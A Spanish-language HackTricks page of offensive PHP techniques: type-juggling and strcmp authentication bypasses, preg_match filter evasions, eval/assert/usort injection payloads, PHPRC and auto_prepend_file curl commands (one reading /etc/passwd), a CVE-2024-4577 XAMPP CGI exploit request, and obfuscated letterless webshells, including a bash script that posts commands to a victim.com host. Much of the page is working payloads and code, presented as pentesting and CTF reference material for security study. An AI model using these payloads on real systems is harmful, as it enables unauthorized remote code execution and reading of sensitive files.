.. | ||
php-useful-functions-disable_functions-open_basedir-bypass | ||
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md | ||
php-ssrf.md | ||
README.md |
Trucos de PHP
Aprende a hackear AWS de cero a héroe con htARTE (Experto en Equipos Rojos de AWS de HackTricks)!
Otras formas de apoyar a HackTricks:
- Si quieres ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF Consulta los PLANES DE SUSCRIPCIÓN!
- Obtén la merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
{% embed url="https://websec.nl/" %}
Ubicación común de las cookies:
Esto también es válido para las cookies de phpMyAdmin.
Cookies:
PHPSESSID
phpMyAdmin
Ubicaciones:
/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
Saltando comparaciones en PHP
Comparaciones débiles/Type Juggling ( == )
Si se utiliza ==
en PHP, hay casos inesperados donde la comparación no se comporta como se espera. Esto se debe a que "==" solo compara valores transformados al mismo tipo, si también deseas comparar que el tipo de los datos comparados sea el mismo, necesitas usar ===
.
Tablas de comparación en PHP: https://www.php.net/manual/en/types.comparisons.php
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
"string" == 0 -> True
Una cadena que no comienza con un número es igual a un número"0xAAAA" == "43690" -> True
Cadenas compuestas por números en formato dec o hex pueden ser comparadas con otros números/cadenas con True como resultado si los números son iguales (los números en una cadena se interpretan como números)"0e3264578" == 0 --> True
Una cadena que comienza con "0e" y seguida por cualquier cosa será igual a 0"0X3264578" == 0X --> True
Una cadena que comienza con "0" y seguida por cualquier letra (X puede ser cualquier letra) y seguida por cualquier cosa será igual a 0"0e12334" == "0" --> True
Esto es muy interesante porque en algunos casos puedes controlar la entrada de cadena de "0" y algún contenido que se está hasheando y comparándolo. Por lo tanto, si puedes proporcionar un valor que creará un hash que comienza con "0e" y sin ninguna letra, podrías saltar la comparación. Puedes encontrar cadenas ya hasheadas con este formato aquí: https://github.com/spaze/hashes"X" == 0 --> True
Cualquier letra en una cadena es igual a int 0
Más información en https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09
in_array()
Type Juggling también afecta a la función in_array()
de forma predeterminada (necesitas establecer en true el tercer argumento para hacer una comparación estricta):
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False
strcmp()/strcasecmp()
Si esta función se utiliza para cualquier verificación de autenticación (como verificar la contraseña) y el usuario controla un lado de la comparación, puede enviar un array vacío en lugar de una cadena como valor de la contraseña (https://example.com/login.php/?username=admin&password[]=
) y evitar esta verificación:
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
Uso estricto de tipos
Incluso si se utiliza ===
, podría haber errores que hagan que la comparación sea vulnerable al type juggling. Por ejemplo, si la comparación está convirtiendo los datos a un tipo de objeto diferente antes de compararlos:
(int) "1abc" === (int) "1xyz" //This will be true
preg_match(/^.*/)
preg_match()
se podría utilizar para validar la entrada del usuario (comprueba si alguna palabra/regex de una lista negra está presente en la entrada del usuario y si no lo está, el código puede continuar con su ejecución).
Bypass de nueva línea
Sin embargo, al delimitar el inicio de la regexp, preg_match()
solo verifica la primera línea de la entrada del usuario, entonces si de alguna manera puedes enviar la entrada en varias líneas, podrías ser capaz de evadir esta verificación. Ejemplo:
$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
Para evitar esta comprobación podrías enviar el valor con saltos de línea urlencoded (%0A
) o si puedes enviar datos JSON, envíalos en varias líneas:
{
"cmd": "cat /etc/passwd"
}
Encuentra un ejemplo aquí: https://ramadistra.dev/fbctf-2019-rceservice
Bypass de error de longitud
(Este bypass fue aparentemente probado en PHP 5.2.5 y no pude hacerlo funcionar en PHP 7.3.15)
Si puedes enviar a preg_match()
una entrada muy grande válida, no podrá procesarla y podrás burlar la verificación. Por ejemplo, si está en una lista negra un JSON podrías enviar:
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
Bypass de ReDoS
Truco de: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223 y https://mizu.re/post/pong
En resumen, el problema ocurre porque las funciones preg_*
en PHP se basan en la biblioteca PCRE. En PCRE, ciertas expresiones regulares se emparejan utilizando muchas llamadas recursivas, lo que utiliza una gran cantidad de espacio de pila. Es posible establecer un límite en la cantidad de recursiones permitidas, pero en PHP este límite por defecto es de 100.000, que es más de lo que cabe en la pila.
Este hilo de Stackoverflow también fue vinculado en la publicación donde se habla más a fondo sobre este problema. Nuestra tarea ahora estaba clara:
Enviar una entrada que haga que la regex realice más de 100.000 recursiones, causando SIGSEGV, haciendo que la función preg_match()
devuelva false
, lo que hace que la aplicación piense que nuestra entrada no es maliciosa, lanzando la sorpresa al final de la carga útil algo como {system(<verybadcommand>)}
para obtener SSTI --> RCE --> bandera :).
Bueno, en términos de regex, en realidad no estamos haciendo 100k "recursiones", sino que estamos contando "pasos de retroceso", que como dice la documentación de PHP por defecto es de 1.000.000 (1M) en la variable pcre.backtrack_limit
.
Para alcanzar eso, 'X'*500_001
resultará en 1 millón de pasos de retroceso (500k hacia adelante y 500k hacia atrás):
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
Tipos de datos para ofuscación en PHP
$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7
Ejecutar Después de Redireccionar (EAR)
Si PHP está redirigiendo a otra página pero no se llama a la función die
o exit
después de que se establece la cabecera Location
, PHP continúa ejecutándose y agregando los datos al cuerpo:
<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>
Explotación de Traversal de Ruta e Inclusión de Archivos
Verifica:
{% content-ref url="../../../pentesting-web/file-inclusion/" %} file-inclusion {% endcontent-ref %}
Más trucos
- register_globals: En PHP < 4.1.1.1 o si está mal configurado, register_globals puede estar activo (o su comportamiento se está imitando). Esto implica que en variables globales como $_GET si tienen un valor por ejemplo $_GET["param"]="1234", puedes acceder a él a través de $param. Por lo tanto, enviando parámetros HTTP puedes sobrescribir variables que se utilizan dentro del código.
- Las cookies PHPSESSION del mismo dominio se almacenan en el mismo lugar, por lo tanto, si dentro de un dominio se utilizan diferentes cookies en diferentes rutas puedes hacer que una ruta acceda a la cookie de la otra ruta estableciendo el valor de la cookie de la otra ruta. De esta manera, si ambas rutas acceden a una variable con el mismo nombre puedes hacer que el valor de esa variable en la ruta1 se aplique a la ruta2. Y luego la ruta2 considerará válidas las variables de la ruta1 (dándole a la cookie el nombre que le corresponde en la ruta2).
- Cuando tienes los nombres de usuario de los usuarios de la máquina. Verifica la dirección: /~<USERNAME> para ver si los directorios php están activados.
- LFI y RCE usando envolturas php
password_hash/password_verify
Estas funciones se utilizan típicamente en PHP para generar hashes a partir de contraseñas y para verificar si una contraseña es correcta en comparación con un hash.
Los algoritmos admitidos son: PASSWORD_DEFAULT
y PASSWORD_BCRYPT
(comienza con $2y$
). Ten en cuenta que PASSWORD_DEFAULT frecuentemente es lo mismo que PASSWORD_BCRYPT. Y actualmente, PASSWORD_BCRYPT tiene una limitación de tamaño en la entrada de 72 bytes. Por lo tanto, cuando intentas hashear algo más grande que 72 bytes con este algoritmo, solo se utilizarán los primeros 72 bytes:
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True
Bypass de cabeceras HTTP abusando de errores de PHP
Causando error después de establecer cabeceras
Desde este hilo de Twitter se puede ver que al enviar más de 1000 parámetros GET o 1000 parámetros POST o 20 archivos, PHP no va a establecer las cabeceras en la respuesta.
Permitiendo el bypass, por ejemplo, de las cabeceras CSP que se establecen en códigos como:
<?php
header("Content-Security-Policy: default-src 'none';");
if (isset($_GET["xss"])) echo $_GET["xss"];
Rellenando un cuerpo antes de establecer encabezados
Si una página PHP está imprimiendo errores y devolviendo algunos datos proporcionados por el usuario, el usuario puede hacer que el servidor PHP devuelva algún contenido lo suficientemente largo para que cuando intente agregar los encabezados en la respuesta, el servidor genere un error.
En el siguiente escenario, el atacante hizo que el servidor arrojara algunos errores grandes, y como se puede ver en la captura de pantalla, cuando PHP intentó modificar la información del encabezado, no pudo (por lo que, por ejemplo, el encabezado CSP no se envió al usuario):
SSRF en funciones PHP
Verifica la página:
{% content-ref url="php-ssrf.md" %} php-ssrf.md {% endcontent-ref %}
Ejecución de código
system("ls");
`ls`;
shell_exec("ls");
Verifica esto para obtener más funciones útiles de PHP
RCE a través de preg_replace()
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
Para ejecutar el código en el argumento "replace" se necesita al menos una coincidencia.
Esta opción de preg_replace ha sido obsoleta a partir de PHP 5.5.0.
RCE a través de Eval()
'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>
RCE a través de Assert()
Esta función en php te permite ejecutar código que está escrito en un string para devolver verdadero o falso (y dependiendo de esto alterar la ejecución). Normalmente la variable de usuario se insertará en medio de un string. Por ejemplo:
assert("strpos($_GET['page']),'..') === false")
--> En este caso para obtener RCE podrías hacer:
?page=a','NeVeR') === false and system('ls') and strpos('a
Necesitarás romper la sintaxis del código, añadir tu payload, y luego arreglarlo de nuevo. Puedes usar operaciones lógicas como "and" o "%26%26" o "|". Ten en cuenta que "or", "||" no funcionan porque si la primera condición es verdadera nuestro payload no se ejecutará. De la misma manera, ";" no funciona ya que nuestro payload no se ejecutará.
Otra opción es añadir a la cadena la ejecución del comando: '.highlight_file('.passwd').'
Otra opción (si tienes acceso al código interno) es modificar alguna variable para alterar la ejecución: $file = "hola"
RCE a través de usort()
Esta función se utiliza para ordenar una matriz de elementos usando una función específica.
Para abusar de esta función:
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#
<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#
<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>
También puedes usar // para comentar el resto del código.
Para descubrir el número de paréntesis que necesitas cerrar:
?order=id;}//
: obtenemos un mensaje de error (Error de análisis: error de sintaxis, ';' inesperado
). Probablemente nos falten uno o más corchetes.?order=id);}//
: obtenemos una advertencia. Eso parece estar correcto.?order=id));}//
: obtenemos un mensaje de error (Error de análisis: error de sintaxis, ')' inesperado
). Probablemente tengamos demasiados corchetes de cierre.
RCE a través de .httaccess
Si puedes subir un archivo .htaccess, entonces puedes configurar varias cosas e incluso ejecutar código (configurando que los archivos con extensión .htaccess pueden ser ejecutados).
Se pueden encontrar diferentes shells .htaccess aquí
RCE a través de Variables de Entorno
Si encuentras una vulnerabilidad que te permita modificar variables de entorno en PHP (y otra para subir archivos, aunque con más investigación tal vez se pueda evadir), podrías abusar de este comportamiento para obtener RCE.
LD_PRELOAD
: Esta variable de entorno te permite cargar bibliotecas arbitrarias al ejecutar otros binarios (aunque en este caso podría no funcionar).PHPRC
: Instruye a PHP sobre dónde localizar su archivo de configuración, generalmente llamadophp.ini
. Si puedes subir tu propio archivo de configuración, entonces usaPHPRC
para apuntar a PHP. Agrega una entradaauto_prepend_file
especificando un segundo archivo subido. Este segundo archivo contiene código PHP normal, que luego es ejecutado por el tiempo de ejecución de PHP antes que cualquier otro código.
- Sube un archivo PHP que contenga tu código de shell
- Sube un segundo archivo, que contenga una directiva
auto_prepend_file
instruyendo al preprocesador de PHP a ejecutar el archivo que subimos en el paso 1 - Establece la variable
PHPRC
al archivo que subimos en el paso 2.
- Obtén más información sobre cómo ejecutar esta cadena desde el informe original.
- PHPRC - otra opción
- Si no puedes subir archivos, podrías usar en FreeBSD el "archivo"
/dev/fd/0
que contiene elstdin
, siendo el cuerpo de la solicitud enviada alstdin
: curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'
- O para obtener RCE, habilita
allow_url_include
y antepón un archivo con código PHP en base64: curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
- Técnica de este informe.
XAMPP CGI RCE - CVE-2024-4577
El servidor web analiza las solicitudes HTTP y las pasa a un script PHP ejecutando una solicitud como http://host/cgi.php?foo=bar
como php.exe cgi.php foo=bar
, lo que permite una inyección de parámetros. Esto permitiría inyectar los siguientes parámetros para cargar el código PHP desde el cuerpo:
-d allow_url_include=1 -d auto_prepend_file=php://input
Además, es posible inyectar el parámetro "-" utilizando el carácter 0xAD debido a la posterior normalización de PHP. Consulta el ejemplo de explotación en esta publicación:
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
<?php
phpinfo();
?>
Análisis estático de PHP
Verifica si puedes insertar código en llamadas a estas funciones (desde aquí):
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
Si estás depurando una aplicación PHP, puedes habilitar globalmente la impresión de errores en /etc/php5/apache2/php.ini
agregando display_errors = On
y reiniciar apache: sudo systemctl restart apache2
Desofuscando código PHP
Puedes usar la web www.unphp.net para desofuscar código PHP.
Envoltorios y Protocolos PHP
Los envoltorios y protocolos PHP podrían permitirte burlar las protecciones de escritura y lectura en un sistema y comprometerlo. Para más información consulta esta página.
RCE no autenticado de Xdebug
Si ves que Xdebug está habilitado en la salida de phpconfig()
, deberías intentar obtener RCE a través de https://github.com/nqxcode/xdebug-exploit
Variables variables
$x = 'Da';
$$x = 'Drums';
echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
RCE abusando de new $_GET["a"]($_GET["b"])
Si en una página puedes crear un nuevo objeto de una clase arbitraria, podrías obtener RCE, verifica la siguiente página para aprender cómo:
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %} php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md {% endcontent-ref %}
Ejecutar PHP sin letras
https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/
Usando octal
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
XOR
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
Código de shell XOR fácil
Según este informe, es posible generar un código de shell fácil de esta manera:
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
Entonces, si puedes ejecutar PHP arbitrario sin números y letras puedes enviar una solicitud como la siguiente abusando de esa carga útil para ejecutar PHP arbitrario:
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
Para obtener una explicación más detallada, consulta https://ctf-wiki.org/web/php/php/#preg_match
Código de shell XOR (dentro de eval)
#!/bin/bash
if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi
CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
Estilo Perl
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
{% embed url="https://websec.nl/" %}
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF Consulta los PLANES DE SUSCRIPCIÓN!
- Obtén el oficial PEASS & HackTricks swag
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.